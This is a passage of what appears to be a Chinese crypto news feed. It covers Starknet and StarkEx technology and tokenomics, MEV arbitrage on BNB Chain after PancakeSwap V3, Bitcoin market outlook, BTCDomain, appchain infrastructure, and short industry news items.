3. Tableland 智能合约获取该用户的 SQL 语句和权限，并将这些合并到发出的事件中，这些事件描述了要采取的基于 SQL 的操作。 4. Tableland Validator 节点侦听这些事件并随后采取以下操作之一： 5. dapp 将能够通过网关反映 Tableland 网络上发生的任何更新。 （使用场景）避免什么 不同单元在整个数据基础设施架构当中都有不可替代的作用，价值其价值捕获主要体现在市值/估值以及预估收益上，可以获得以下结论： 简单的来说，在整个结构图的左边的公司/项目，其价值捕获倾向于更大。 据不完全的统计分析，行业集中度有以下判断： 数据源、分析和输出行业集中度较低，初步判断是不同的业务场景导致在每个业务场景中都能够有垂直场景的龙头出现，如数据库领域的 Oracle、第三方服务的 Stripe、企业服务的 Salesforce、仪表盘分析的 Tableau 以及嵌入式分析的 Sisense 等等。 而行业集中度中等的数据抽取和转换模块，初步判断其原因是因为业务属性的技术导向性。模块化的中间件形式也使得切换成本相对较低。 行业集中度最高的数据存储以及数据查询和处理模块，初步判断是由于业务场景单一、技术含量高、启动成本高且后续切换具有较大成本，使得公司/项目的先发优势较强，且具备网络效应。 从成立时间和上市来看， 而分析输出类项目，不论在哪个时期都是创业项目的机会。但也是在不断迭代创新，基于新的场景做新的事情，2010年以前出现的 Tableau 占据了桌面式仪表盘分析工具的大部分江山，随后出现的新型场景有如更加专业导向的 DS/ML 工具、更加综合导向的数据工作站以及更加 SaaS 导向的嵌入式分析等等。 从这个视角来看 Web3 目前的数据协议： 但 Web3 不是 Web2 的翻版，也不完全是 Web2 的进化。Web3 有非常原生的使命和场景，从而诞生了和以前完全不一样业务场景（前面三种场景是目前能够作出来的全部的抽象）。  ( 5 min )
    StarkWare帝国：探析StarkEx和StarkNet的创新之旅
    撰文：Yinan 从 2018 年开始，StarkWare 开创性地运用 STARK 有效性证明来解决以太坊的可扩展性问题。它推出了基于 SaaS 业务模型的 StarkEx，创造了 Cairo 编程语言，并构建了 Starknet，这是第一个允许编写自定义逻辑的生产中的去中心化网络。 StarkWare致力于在包括技术、数学、创新与产品交付的双重关注；支持其他推动以太坊和/或 STARK 的团队；以及努力使产品开源、去中心化并专注于将 STARK 作为公共产品。 未来，StarkWare 将致力于让 Starknet 成为一个由 Starknet Foundation 治理的无需许可的去中心化有效性 rollup，并专注于去中心化 Starknet 的各个组成部分，例如 Prover、Sequencer 和治理。 STARK 技术基于证明，具体来说是完整性证明。STARK 利用数学来确保完整性，即使没有人监视，也能确保计算正确进行。这种技术的概念始于 László Babai、Lance Fortnow、Leonid Levin 和 Mario Szegedy 于 1991 年的一篇文章，其中介绍了使用单一可靠计算机监控一组不可靠超级计算机的概念。该技术被称为“PCP”，通过数学监控和确保大型计算的完整性。 STARK 技术是 PCP 技术的改进版本，可让小用户检查并确保大公司、垄断企业或政府的正确运作。区块链恢复了货币交换的点对点特性，消除了对可信中介的需求。以太坊则将此概念推向更远，允许创建构成社会经济基础的通用程序。 StarkWare 是 zk rollups 赛道内最好的公司之一，由以色列理工学院的 Eli Ben-Sasson 教授（zk SNARK & zk STARK 的联合发明者）联合创立，它为区块链行业提供基于 STARK 技术的解决方案。目前开发了两款产品：StarkEx & StarkNet，均在下文中介绍。 融资 目前公司已经估值 80 亿美元，获得了 Vitalik、Paradigm、Sequioa 等资本的倾力支持，是扩容领域估值最高的团队。 StarkEx 一种基于以太坊区块链的应用特定的Layer-2扩展引擎，旨在解决以太坊等Layer-1区块链网络的可扩展性问题。StarkEx通过使用一种名为STARK证明的先进密码学系统，实现了快速、低成本的交易，同时不妥协安全性、隐私性和自我保管。 它提供了一系列用于实现便宜的链下计算的应用流程，将多笔交易打包在一个STARK证明中，然后在链上进行验证，降低了每笔交易的平均燃料成本。StarkEx扩展引擎的工作原理，包括批处理、验证和更新、生成证明以及链上验证四个步骤。 StarkEx已经成功部署在多个应用中，如dYdX、Immutable、Sorare、DeversiFi和Celer。 StarkEx 和 StarkNet 是由 StarkWare 开发的两个不同的技术，它们都使用 STARK 零知识证明技术，但有不同的目标和用途。 总之，StarkEx 是一个应用特定的 Layer-2 扩展引擎，主要关注特定应用程序的性能优化，而 StarkNet 是一个更为通用、全面的 Layer-2 解决方案，旨在为整个以太坊生态系统提供一个去中心化的计算平台。 Starknet是一个无需许可的去中心化有效性折叠网络（也称为“ZK-Rollup”）。它作为以太坊上的L2网络运行，使任何dApp都能在不影响以太坊可组合性和安全性的前提下实现无限扩展计算，这要归功于Starknet依赖于最安全且最具可扩展性的加密证明系统 STARK。 Starknet合约和Starknet操作系统使用Cairo编写 - 支持部署和扩展任何用例，无论业务逻辑如何。Starknet作为一种去中心化的二层网络解决方案，旨在为去中心化应用（dApp）提供更高的扩展性和性能。通过在以太坊上运行，它可以利用现有的基础设施和安全性，同时提供更高的计算能力。 Cairo是一种专为Starknet设计的编程语言，它旨在简化智能合约的开发和部署。通过使用Cairo，开发人员可以轻松地为各种用例构建高度可扩展的应用程序，包括金融、游戏、供应链等。 Starknet 是一个 validity rollup，这意味着每个块内的执行都需要被证明，这就是 STARKs 派上用场的地方然而，STARK 证明可以解决以多项式约束语言制定的陈述，并且不了解智能合约的执行。为了克服这个差距，所以开发了Cairo。 总的来说，Starknet是一个充满潜力的二层网络解决方案，它可以使现有的dApp在扩展性和性能方面迈出重要一步。通过采用STARK加密证明系统和Cairo编程语言，Starknet为开发者提供了一个强大且灵活的平台，以满足各种业务需求。 接下来会发生什么？Starknet Alpha v0.11.0：开始向 Cairo 1.0 过渡 对 Cairo 1.0 的进一步语言改进 性能改进：正如承诺的那样，Starknet继续朝着显着提高 TPS 的方向前进。路线图中的下一步是过渡到Rust序列器，它是在 Apache 2.0 许可下公开开发的。新的音序器将使用Rust CairoVM和Papyrus全节点形成 Performance Trio。 链下DA 在这个版本中，Starknet处理了交易成本的计算部分。在即将推出的版本中，将处理链上数据成本，这是当今平均交易的主要成本。 这里对Starknet的音序器进一步说明： 音序器是指StarkNet Sequencer，它是StarkNet的一部分，旨在通过切换到Rust排序器、使用Rust CairoVM和Papyrus全节点来显著增加吞吐量（每秒交易数量），从而形成“性能三人组”。 “性能三人组”是指StarkNet Sequencer的三个组成部分：Rust排序器、Rust CairoVM和Papyrus全节点。其中，Rust排序器是StarkNet Sequencer的核心，它负责处理交易并生成区块。Rust CairoVM是一个虚拟机，它可以在StarkNet上运行智能合约。Papyrus全节点是StarkNet网络中的一个节点，它存储了StarkNet上的所有数据，并且可以处理交易。这三个部分共同工作，可以显著提高StarkNet的吞吐量（每秒交易数量）。 Starknet v0.11.0（目前仅在 Goerli 测试网上） Starknet v0.10.3（22 月 12 日、12 月 12 日） Starknet v0.10.2（22 年 11 月 29 日） Starknet v0.10.1（22 年 10 月 25 日） Starknet v0.10.0（22 年 9 月 5 日） 此版本介绍了 Starknet 帐户抽象设计的下一步，特别是验证/执行分离。 Starknet v0.9.1（22 年 7 月 20 日） Starknet v0.9.0（22 年 6 月 6 日） 该版本将合约类/实例范式引入 Starknet 以太坊账户结构 在以太坊中，单个用户账户被称为外部拥有的账户（Externally Owned Accounts，EOAs）。 EOAs 与智能合约不同，因为它们不受代码控制。EOA 是由一对私钥和公钥确定的。 账户的地址是根据这些密钥派生的，只有拥有私钥才能从账户发起交易。虽然以太坊合约是“被动”的，即它们只能在交易中被调用时发生变化，但 EOAs 可以发起交易。 尽管简单，但 EOAs 有一个主要缺点，即账户行为没有灵活性，以太坊协议规定了 EOA 发起的交易何时有效（签名方案是固定的）。特别是，对公钥的控制给了对账户的完全控制。尽管从理论上讲，这是一种安全的账户管理方法，但在实践中，它存在一些缺点，例如要求您保护种子短语的安全，同时使其对您可访问，并且钱包功能的灵活性有限。 EIP-4337 是一个针对以太坊的设计提案，概述了通过以太坊网络上的专用智能合约管理所有账户的账户抽象化，以提高灵活性和可用性。您可以在基本 EOA 功能的基础上添加自定义逻辑，从而将账户抽象化引入以太坊。 账户抽象化是什么？ 账户抽象化背后的想法是允许在账户管理方面更具灵活性，而不是让它们的行为在协议层面上确定。这可以通过引入账户合约来实现 - 具有可编程逻辑的智能合约，决定用户的账户行为。 通过使用账户抽象化，您现在可以对您的账户功能进行编程。 例如，你可以： 如今，Starknet提供了签名抽象化。将来，Starknet将丰富当前的账户抽象化设计。 使用账户抽象化自定义账户功能的两个示例 这些示例展示了如何利用账户抽象化为用户提供更灵活、安全和高度定制的钱包和账户管理体验。通过编写自定义逻辑，用户可以根据其需求和偏好定制账户功能，从而在提高安全性的同时，也提高了易用性。 Starknet 账户合约必须包括以下两个函数 这些函数具有不同的目的，以确保只有账户所有者才能发起交易，并且可以为你使用的资源收费。 Starknet 的账户类型受到以太坊 EIP-4337 的启发，其中，你现在使用具有任意验证逻辑的智能合约账户，而不是 EOA（外部拥有的账户）。 通过使用智能合约，在账户实现中获得了完全的灵活性。 虽然在协议级别上不是强制性的，但社区开发了一个更丰富的标准账户接口。这个标准是由 OpenZeppelin 开发的，与钱包团队和其他核心 Starknet 开发人员紧密合作。 代币的作用： 交易费用： 目前，StarkNet 中的费用以以太币 (ETH) 支付。但稍后，我们预计费用将完全使用原生 StarkNet 代币支付。为了支持良好的用户体验，自动化和去中心化的链上机制将允许用户以 ETH 支付费用。 质押： 某些对 StarkNet 的活跃性和安全性至关重要的服务可能需要质押 StarkNet 代币。这些服务可能包括排序、在达到 L1 最终结果之前达成临时 L2 共识、STARK 证明服务和数据可用性供应。 治理： 改进 StarkNet 的提案将需要一个最小的令牌支持阈值，稍后定义。对 StarkNet 的活跃性、安全性和维护至关重要的协议的所有更改都需要直接或通过委托进行投票。例如，StarkNet 操作系统的所有重大更新都需要代币持有者的批准。 总量：100亿、代币初始分配：代币经济学 17% — StarkWare 投资者 32.9% — 核心贡献者：StarkWare及其员工和顾问，以及StarkNet软件开发合作伙伴 StarkWare 授予基金会的50.1% ，用途如下： 为了使核心贡献者和投资者的长期激励与 StarkNet 社区的利益保持一致，并遵循去中心化生态系统的惯例，分配给核心贡献者和投资者的所有代币将受到 4 年的锁定期，与线性释放和一年悬崖。 如果你是一名终端用户，只有在StarkNet满足您当前需求时才使用它。将其用于您看重的交易和应用，而不是期望未来获得StarkNet代币的回报。当社区补给宣布时，它们将仅涉及在公告日期之前发生的快照，并根据当时可用的信息，过滤和排除被认为是滥用和操纵网络的使用情况。当社区返利制度建立时，它们永远不会适用于在返利公布之前发生的交易，因此期望未来返利而在今天进行交易是徒劳的。 基于上面代币经济学的总结分析： 第一个9%的社区供应部分是可能空投给用户的，也就是说用户在这4.5亿中和为Starknet工作及提供技术支持和开发的人一起去划分。 第二个9%的社区回扣，用于后续返利规则公布后的手续费补贴，公布规则前刷手续费是没用的。 第三个10%的战略储备，是用于链上生态应用，分配给生态上的应用协议。 StarkWare 是 zk rollups 赛道内最好的公司之一，产品有StarkEX和StarkNet。 StarkEx 是一款 Layer2 扩展引擎，为 dApp 提供技术服务。 StarkNet是一个无需许可的更为通用、完整的 Layer-2 解决方案。 团队成员有80多个，而且核心成员比较瞩目，Eli Ben-Sasson是Zcash 的创始科学家，zkSNARKs 的发明者，在ZK-Rollup领域有非常深的研究及影响力，且目前估值达到80亿，像paradigm、Pantera、polychain和V神等顶级VC和个人均是StarkWare的资方。 在生态应用上面，因为采用的是Cairo语言，所以并不兼容EVM，所以在生态发展上进度会比较慢，目前开始向 Cairo 1.0 过渡，朝着一个更高的TPS发展，就算这样，但是目前的应用体验并不是十分流畅，技术还有现实之间还是存在差距，期望以后看到Starknet更好的发展。 Starknet docs：https://docs.starknet.io/documentation/ Starknet 文章：https://starkware.co/content/ Starkware Twitter：https://twitter.com/StarkWareLtd Starknet Twitter：https://twitter.com/Starknet Starknet Discord：https://discord.gg/qypnmzkhbc Straknet Medium：https://medium.com/starkware 官方桥：https://starkgate.starknet.io/ StarkNet生态：https://www.starknet-ecosystem.com/ 相关文章：深度解析 StarkWare：以太坊扩容最佳团队，80 亿美元高估了？  ( 4 min )
    比特币登上微博热搜榜，且微博已支持显示比特币行情数据
    PANews 4月11日消息，经查看，比特币登上微博热搜榜第17位，且微博搜索“比特币”已可显示比特币行情数据，数据来源为新浪财经。  ( 1 min )
    比特大陆因税务违法被北京税务局罚款近2500万元
    PANews 4月11日消息，据同花顺财经报道，企查查APP显示，近日，北京比特大陆科技有限公司因其他违法被国家税务总局北京市税务局第四稽查局罚款约2496.87万元。 违法详情显示，根据《中华人民共和国税收征收管理法》规定，单位给员工发放差旅补贴等福利应代扣代缴个人所得税。检查人员已于 2022 年 8 月向北京比特大陆公司送达《责令限期改正通知书》（京税稽四限改〔2022〕9 号），至今北京比特大陆公司未能代扣代缴上述个人所得税合计1664.58万元。 此外，据国家税务总局北京市税务局网站，该网站的税务行政一般程序处罚结果记录了此条对比特大陆的处罚，处罚日期为4月4日。  ( 1 min )
    香港特区行政长官李家超、中联办将出席Web3.0协会成立典礼
    PANews 4月11日消息，据香港中通社报道，香港特区行政长官李家超、北京中央驻港联络办公室领导将出席今日在香港交易所举行的Web3.0协会成立典礼，以显示北京中央及特区政府的支持。 此前昨日消息，香港将于4月11日成立Web3.0协会和Web3Hub基金。  ( 1 min )
    PancakeSwap V3推出后，BNB链上套利优于以太坊？
    作者：EigenPhi 编译：Felix, PANews 针对MEV对主要基于以太坊的DEXs（如Uniswap和Curve等）的影响，EigenPhi进行了大量研究。以太坊的生态系统引入了区块构建者，营造出这样一个环境：MEV成为重要激励来源。此外，以太坊上的MEV-boost中继基础设施使MEV更易于访问和公平。然而，MEV革命尚未在BNB链上到来。该网络目前有21个活跃的验证者，他们在权益证明共识（POS）模型上运行，负责验证交易并确保链的整体安全性。 由于对BNB链上验证者捕获MEV的监测，产生了不公平、中心化的的担忧以及社区投诉。令人欣慰的是，BNB Chain最近的讨论表明：他们正在积极努力建立更加平衡和包容的DeFi生态，将MEV服务引入网络，既能保护用户，又能为验证者带来更多收入。 由于BNB Chain的运营成本低于以太坊，因此推出具有相同的集中流动性功能的PancakeSwap V3将创造更多的用户机会。 在深入调查了2022年7月1日至2023年3月26日之间的套利交易后，发现套利者在九个月内，从BNB Chain中提取了超过4000万美元。 此外还调查了同一时间段内以太坊的套利交易。尽管以太坊的总收入是BNB Chain收入的两倍多，但由于以太坊上套利交易的高成本，两条链上的套利搜寻者的利润水平相当。 下面饼图中的数据显示，BNB Chain的利润率为94.5%，而以太坊的利润率为45.8%。 BNB链和以太坊套利策略的成本调查 EigenPhi调查了时间段内每个月的成本收益比。BNB链上PancakeSwap套利者的成本收益比，与BNB链上的总套利基本一致。此外还调查了以太坊上Uniswap的成本收益比。以太坊的高成本导致成本收益比最高超过0.7。但是BNB链的成本收益比几乎比以太坊低一个量级。比较PancakeSwap和Uniswap在各自链上的情况也是如此。 在BNB链上创建套利机器人比在以太坊上更便宜。例如，套利搜寻者在BSC上创建交易利润最高的机器人，只需4.6美元；而在以太坊上，同样的机器人将花费200美元。 PancakeSwap于4月3日宣布在BNB Chain和以太坊上推出V3版本，引入集中流动性功能，将为用户、套利搜寻者和做市商提供更多机会。适当利用和管理流动性对于从市场中提取价值至关重要。虽然大量利用流动性可能会导致严重的问题，但有效利用可以让用户受益。因此，了解如何利用和管理流动性对于最大限度地发挥其潜力至关重要。 一旦V3推出，PancakeSwap池中的流动性可能会出现显著波动，这会创造更多的套利机会。 目前相当多的套利交易只在PancakeSwap池中进行。随着V3的推出，这些套利机器人可能不需要在方法上做太多改变，就能获得更多的套利机会。 值得注意的是，在以太坊中，许多套利机器人仅在Uni-V2和Uni-V3之间运行，就产生了可观的利润。此外，鉴于BNB链上的PancakeSwap和以太坊上的Uniswap在AMM设计上的相似性，目前在Uni-V2和Uni-V3之间运行的套利者，有可能在V3启用后无缝过渡到PancakeSwap，而无需对现有策略进行重大更改。 例如，EigenPhi观察到以太坊中Uni-v2和Uni-v3之间的单一套利策略已经产生了超过300万美元的利润。一旦V3启动，PancakeSwap也将出现类似的机会，允许交易者利用这些有利可图的交易。 2.PancakeSwap V3给做市商带来的机会 集中流动性有诸多好处，能够让流动性提供者和用户管理流动性更高效。这一优点也吸引了传统做市商。 以下是做市商如何管理Uni-V3流动性的示例。该机器人通过代币交易并将其重新添加到池中，来消除交易对流动性的不平衡，确保当前价格处于可接受的流动性范围内。机器人每天可能多次执行这种平衡操作，每天的收入高达2000美元。 做市商的代币流向： 然而，做市商在以太坊上调整Uni-V3流动性时面临着高昂的成本，这限制了做市商调整的频率。由于调整流动性的成本很高，做市商出现亏损的情况也屡见不鲜。然而，在PancakeSwap V3上调整流动性的成本较低，可能会为做市商创造更多机会，通过更频繁和更有效地调整其流动性来增加利润。 一旦PancakeSwap V3上线，PancakeSwap池中的流动性可能会出现显著波动，这会在BNB链上产生更多的套利机会。此外，在PancakeSwap V3上调整流动性的成本较低，可能会为做市商创造更多机会，使其在BNB链上更频繁、更有效地调整流动性。 相关阅读：解读以太坊MEV产业链：现状、问题及改进方法  ( 2 min )
    比特币一季度完美收官，涨势在二季度会延续吗？
    原文：《比特币迎“小阳春”，二季度上涨行情会持续吗？》 作者：比推BitpushNews Mary Liu 二季度伊始，加密市场迎来“小阳春”。比推终端数据显示，比特币周一盘中自 2022 年 6 月 10 日以来首次突破 29,200 美元，24小时涨幅近 4%，这是继 3 月初 23,500 美元关口之后的一次强劲反弹，与今年年初相比涨幅超过72%。 周一的上涨背后没有重大消息面出台，周三美国将公布 3 月份的消费者价格指数 (CPI)，这是美联储 5 月初会议之前最重要的经济数据之一。当天晚些时候公布 FOMC 会议纪要，将揭示美联储对最新利率决定的预测和考虑的更多细节。许多市场观察人士预测，美央行可能会在这次会议上结束长达一年多的加息行动，这对比特币来说是利好消息。 那么，第二季度比特币会继续延续涨势吗？以下为投资者和交易员需要考虑的几大因素。 一个看涨的暗示是，比特币进入了一个历史上表现强劲的季节性上涨月份。根据对数据的回顾，在过去 10 年中，BTC 在 4 月份实现了6次正收益，平均回报率超过 17% 。比特币与美股相关性的加强也让看涨理由充分。在过去 10 年中，标准普尔 500 指数在 4 月实现六次上涨，平均涨幅为 2.6%。 然而，一个可能抑制季节性看跌的因素是巨鲸卖家的出现。比推此前报道，美国政府打算出售其在丝绸之路暗网中没收的41,000 个比特币，假设全部以今天的市场价格出售，将造成价值 16 亿美元的BTC供应量流入市场。 虽然 CeFi（中心化金融）在 2022 年的倒闭使加密市场低迷了几个月，但现在它正在推动 BTC 叙事。也就是说，去年发生的一切再次证明了比特币的基本论点和价值主张。 现在，投资者更加坚信：比特币为金融系统提供可靠、去中心化、透明的基础，在它之上构建中心化和不负责任的产品背离了该信念。2022 年的加密行业危机摧毁了 FTX、Alameda Research、Celsius Network、三箭资本和许多其他公司。也对Gemini Trust Company、Digital Currency Group等造成了毁灭性的打击。但强劲的市场反弹证明，到 1 月，所有这些利空因素都已经被市场消化。 3 月份，三家拥有加密风险敞口的传统银行倒闭时，加密市场叫好。随着监管机构接手，硅谷银行的客户正在排队领取存款，而比特币价格在四天内从 20,500 美元附近飙升至 25,700 美元。 硅谷银行、Signature Bank 和 Silvergate Bank 的倒闭成为BTC的催化剂，欧洲也发生了银行业恐慌。投资者在 CeFi 崩溃后重新认识了加密行业。 加密分析师 Alvaro Sanchez 撰文称，银行挤兑让比特币支持者的共识更强：“对于加密货币投资者而言，美国和欧洲的银行业恐慌证实了他们的信念，即未来所有金融中介机构都将消失，将会有一个去中心化的系统，在这个系统中，每个人都可以在不需要银行的情况下转移资金。” The Block数据显示，加密与宏观市场亦步亦趋，比特币与股票的相关性在 2022 年期间有所增加，在股票价格上涨的时期，加密货币更有可能同步上涨，下跌时同理。 从图表的角度来看，加密货币交易市场和股票市场之间的唯一区别是，投资组合中的加密货币像股票一样波动，但具有杠杆作用。比特币与纳斯达克股票价格的相关性在新年的反弹、盘整期和 3 月份的上涨中一直存在。 此外，加密资产对科技股和宏观经济数据的敏感性增加可能源于机构投资者。Georgetown 大学最近发布的一份研究报告表示：“最近加密资产市场与标准普尔 500 指数之间相关系数的增加可能反映了机构投资者参与度的增加。” 比特币的采用在 2023 年在全球范围内迅速增长，虽然比特币的许多早期采用者来自美国等发达国家，但发展中国家的采用也在增长。萨尔瓦多总统 Nayib Bukele 领导的政府推动比特币正式成为法定货币，该国最近偿还了两笔 8 亿美元债券中的第一笔，说明其财政状况受益于比特币近期的反弹。 随着今年第二季度的开始，BTC 基本面运行强劲。比特币的哈希率在第一季度结束时飙升至另一个历史新高。到 3 月底，网络哈希率达到3.5 亿 TH/s。 矿工的商业模式最容易受到市场下行风险的影响，在市场上升周期中也能获得非常高的回报。矿工通过区块奖励、交易费来赚取收入，他们可能是市场上消息最灵通的参与者，因此哈希率的增加是未来市场热度上升的一个领先指标。 交易所的流动性也很低，这意味着持有情绪高涨。供应量减少、订单价差扩大和价格飙升是牛市到来的迹象。 在 2 月的反弹中期，SeekingAlpha报告称，比特币价格上涨主要由机构投资者推动。 Brown Brothers Harriman & Co. 一份针对银行的调查报告显示，机构投资者总体上不太愿意投资，但兴趣依然浓厚，48% 的受访机构计划在 2023 年将加密货币 ETF 添加到其投资敞口中。 3 月，Fidelity Crypto 向数百万散户投资者开放比特币和以太坊交易。此外，这家金融服务巨头在应用程序上为他们提供免佣金服务。 与此同时，投资管理巨头贝莱德首席执行官Larry Fink在其年度致股东信中发表了对加密货币和区块链的看涨言论。Fink表示：“在贝莱德，我们继续探索数字资产生态系统，尤其是与我们客户最相关的领域，例如许可区块链以及股票和债券的代币化”。 加密货币的监管环境好坏参半，很难将其评为看涨或看跌。一方面，数字资产平台 Bakkt 完成了对交易基础设施提供商 Apex Crypto 的 1.55 亿美元收购，这是自 2021 年年中熊市开始以来加密领域最大的交易之一。 另一方面，在美国，加密公司正面临越来越多的监管审查，美国证券交易委员会 (SEC) 已将多家加密公司作为目标，例如向Coinbase发出 Wells 通知，并就交易所的质押计划对Kraken提出指控。出于监管担忧，Bittrex Global 正在关闭美国的业务。Bittrex 表示，美国政府对 Kraken、Coinbase、Ripple 和币安采取的法律行动使美国的竞争环境变得不公平。 因此，比特币的价格走势受到多方面因素的影响，包括宏观数据、市场情绪、全球重大事件和监管变化，截至本文发布时，比特币价格为 29,139 美元。  ( 2 min )
    数字资产经纪商LTP推出1亿美元量化孵化基金
    PANews 4月11日消息，据官方消息，数字资产经纪商LTP（LiquidityTech Protocol）创始人兼首席执行官Jack Yang宣布，LTP推出1亿美元量化孵化基金，重点扶持行业初创的量化交易公司。  ( 1 min )
    阿里巴巴未来拟将所有产品接入“通义千问”大模型
    PANews 4月11日消息，据金十报道，阿里巴巴集团董事会主席兼CEO、阿里云智能集团CEO张勇在云峰会上表示，阿里巴巴所有产品未来将接入“通义千问”大模型，进行全面改造。 阿里云已经累积了从飞天云操作系统、芯片到智算平台的“AI+ 云计算”的全栈技术实力，阿里云将把这些AI基础设施和大模型能力向所有企业开放，共同推动AI产业的发展。  ( 1 min )
    币安将支持Conflux Network（CFX）主网集成
    PANews 4月11日消息，据官方公告，币安宣布将支持Conflux Network（CFX）主网集成，集成完成后，币安将支持通过Conflux eSpace、Conflux Core Space 及BNB Smart Chain（BEP20）进行CFX代币的充值、提现业务。  ( 1 min )
    搭建在比特币主网上的去中心化域名系统——BTCDomain
    近日，一款名为BTCDomain的创新项目引发了广泛关注。该项目是一个创新的基于比特币主网的域名项目，通过Ordinals技术，实现在比特币网络上安全地记录和存储域名数据。利用零知识证明技术（ZK），搭建zk域名注册机和域名解析器，从而在不支持智能合约的比特币网络上实现去中心化。 由于比特币网络本身不支持智能合约，BTCDomain选择采用Ordinals技术。通过为1个比特币（即1亿个Satoshis）分配连续的编号，实现对不同Satoshis的区分。利用序列号，为Satoshis赋予一个稳定的标识符，形成一种“刻录”操作，类似于以太坊NFT的铸造过程。 使用Ordinals技术，所有的刻录数据都被存储在比特币主网上的区块链中，而非外部存储器（如IPFS或AWS S3），实现真正的去中心化，并与其他所有比特币交易一起保存在区块链上。.btc域名被刻录为格式化的JSON文本，每个域名都是一个独特的刻录，类似于一个BTC NFT。用户的域名数据被安全地存储在比特币网络中。 用户可以通过解码satoshi.btc数据来验证，具体操作为： 1. 单击下面的satoshi.btc的创世交易历史记录 （也可以使用任何比特币浏览器来搜索交易哈希“4d8cf99819690c37fcd62b63f3b7f357da71fd7f5c0de058f60180545f44fc63”） 2. 在视图里面将格式转换为JSON视图并复制“witness”部分中的第二部分。 3. 将第二步复制的内容粘贴到任意一个“hex 转string”的工具中。 通过以上步骤就可以查看到这个satoshi.btc的相关数据。用户的域名数据被安全地存储在比特币网络中。 用户的域名通过它们的序列号与Satoshis相关联。当用户将Satoshis发送给其他人时，相关的刻录也会被转移。这个过程使域名交易变得更加容易。 此外，“部分签名比特币交易”（PSBT）是比特币的一个功能。这个功能允许用户与具有特定BTC数量的任何人交易选定的Satoshis。他们可以通过利用PSBT在Ordinals交易平台（如MagicEden）上参与用户友好的交易。总体而言，交易体验与以太坊相似。 对于如何保证交易的可信和完整性，BTCDomain采用了ZK技术。ZK技术使用先进的数学方法，确保了一个可信的计算环境，程序可以在单台计算机上运行并生成输出和ZK证明。通过ZK技术，BTCDomain正在创建zk版本的注册机和解析器，使得所有人都可以在自己的电脑上验证程序“是否诚实”，保证整个流程的可信。 域名是一个需要高度信任的产品，为了解决人们对域名服务商滥用权力的担忧，BTCDomain使用ZK技术来保证域名解析地址的安全。此外，Ordinal技术的出现使得比特币网络有成为可用数据链的可能性，将其与ZK技术结合，能够使得项目在比特币原生网络上创建系统，其功能类似于智能合约，同时数据源也可以被存储在世界上最安全的网络。 总之，BTCDomain作为一项创新的基于比特币主网的域名项目，利用Ordinals技术和ZK技术的结合，为比特币生态系统提供了一种全新的域名解决方案。BTCDomain的出现，让比特币网络有了可用的数据链的可能性，同时也为域名交易提供了安全、去中心化、易用的环境，是比特币生态系统发展的重要一步。  ( 1 min )
    香港大会，重新思考3个热门赛道
    April 11th, 2023 | Lao Bai 近期香港大会如火如荼，一级市场回暖，ABCDE Q1看了超过100个项目，亲身体验了市场几个特别火热的赛道，其中最热的包括Appchain、ZK和Gaming。 今年以来，这3个赛道也发生了一些变化，我们也有了重新的思考，记录为Memo，供大家参考。 RAAS是去年底兴起的赛道，跟OP Stack发布有较大的关系，但Appchain as a Service早就存在，以Cosmos SDK为代表，在Celestia提出模块化区块链之后开始逐渐火热，RAAS可以看成是其中一个近期较热的子集. 为什么Appchain as a Service这个赛道近期可能被OverHype了呢 首先，如果你是开发者，想要自己做一条Appchain，你所面临的选项如下 如果你的链是EVM的，那么你可以 1. 做一个类似Ronin那样的纯ETH侧链（现在相信很少人会这么干了） 2. 用Skale做一个ETH侧链 3. 用Avax发一个链，接入Avax的P链 4. 用Polygon Supernet发个EVM链 5. 用BAS做一条基于BNB Chain的侧链 6. 用OP Stack做一个Rollup Appchain 7. 用Caldera做一个Rollup Appchain（本质上也是Op Stack） 8. 用Zk-Sync做一个L3 (今年估计能看到） 9. 正在写的时候Arbitrum也发布了他们的Orbit，也是一个类似Opstack的L3基础设施 10. 后面还有正在开发中的Opside，Stackr，Sovereign SDK等一众项目 如果你的链是非EVM的，那么你可以 1. 用Cosmos SDK做一个链，或者独立自主自力更生，或者共享ATOM安全性（ICS提案刚刚通过） 2. 用Substrate 发一个链，或者竞拍波卡插槽，或者接入章鱼网络，或者谁都不接，自己岁月静好 3. 用Celestia 的Rollkit做一个Rollup Appchain，DA用Celestia，结算可选 4. 用Dymension做一个Rollup Appchain 5. 用Saga做一个Rollup Appchain 6. 基于Starkware做一个L3 (今年估计能看到） 7. 后面肯定还有许多正在开发中的，我不知道的或是遗漏了没有想到的 有没有觉得 — “选项过于丰富了那么一点点？！” 其次，究竟哪些应用适合做成Appchain？还记得几个月前网上那篇关于Uniswap是否应该自己做成一个Appchain的文章以及各路争论么 总的来说，Uniswap如果做成Appchain，会有交易费用，代币价值捕获，抗Mev，资源独占等优势，但同时获得了用户体验，安全，以及可组合性下降的Debuff 总之，我们目前还没有看到Uniswap要做成一个Appchain的计划或是“野心” Compound原本想要拿Substrate做条链，后来放弃，现在Compound与Aave V3都是多链部署，目前来看做成Appchain的可能性似乎也并不大 至于Curve，应该从来就没有过这个打算 唯独对可组合性没有什么依赖的DYDX选择跑去Cosmos做一条应用链，今年Q3应该会看到，也许既Luna之后，这是最值得期待的一条的Appchain。届时DYDX也会给许多Builder展示出一条路径 — 如果你在一个赛道占据了龙头，同时对可组合性要求不高，那么独立出来做一条“有主权+高性能”的Appchain是Make Sense的。在那之前，可以先选一个通用链生态作为Dapp猥琐发育打怪升级，等到级别足够高了之后再单飞 这条路径相对可行，比如如果将来有个基于Lens Protocol的SocialFi DAPP做大做强，日活很高，Polygon的吞吐没法满足了，自己单飞拿上面那些基础设施做成一个Rollup Appchain完全make Sense。不过这种Case短期来看，能符合上述条件做成链的项目应该还没有能发链的基础设施数量多…… 再就是天生就适合上来直接发一条链做成Appchain的赛道，这个赛道项目会是上述基础设施的最大用户。目前来看，在链间异构可组合性问题完全攻克之前，非Cosmos生态Defi走这条路的可能性不大，最适合的赛道毫无疑问是Gamefi（包括Onchain Autonomous World — 链上自主世界）。比如基于AVAX的DFK与螃蟹，前段时间挺火的OPcraft，用Caldera发链的Curio等 看了看自己的小狐狸和Keplr钱包，在Luna崩塌之后貌似除了DFK和Osmosis，似乎没有怎么用过其他的Appchain，这不禁让我疑惑，我们这一轮周期，真的需要“数十个Appchain 或是Rollup as Service”这么庞大的基础设施么？ 最后关于最近大火的RAAS可以单独“轻微吐槽”下 目前看到的基于OP系的RAAS基本上就是Fork OP Stack来做，本身没有什么技术壁垒，OP的代码和文档写的非常工整+清晰，我们ABCDE的技术大神跟着文档走基本不到一天就能搭起一条OP Rollup的Appchain，所以这类RAAS给客户提供的价值更多在于Sequencer，区块浏览器与快速部署等附加价值，营销能力远大于技术能力 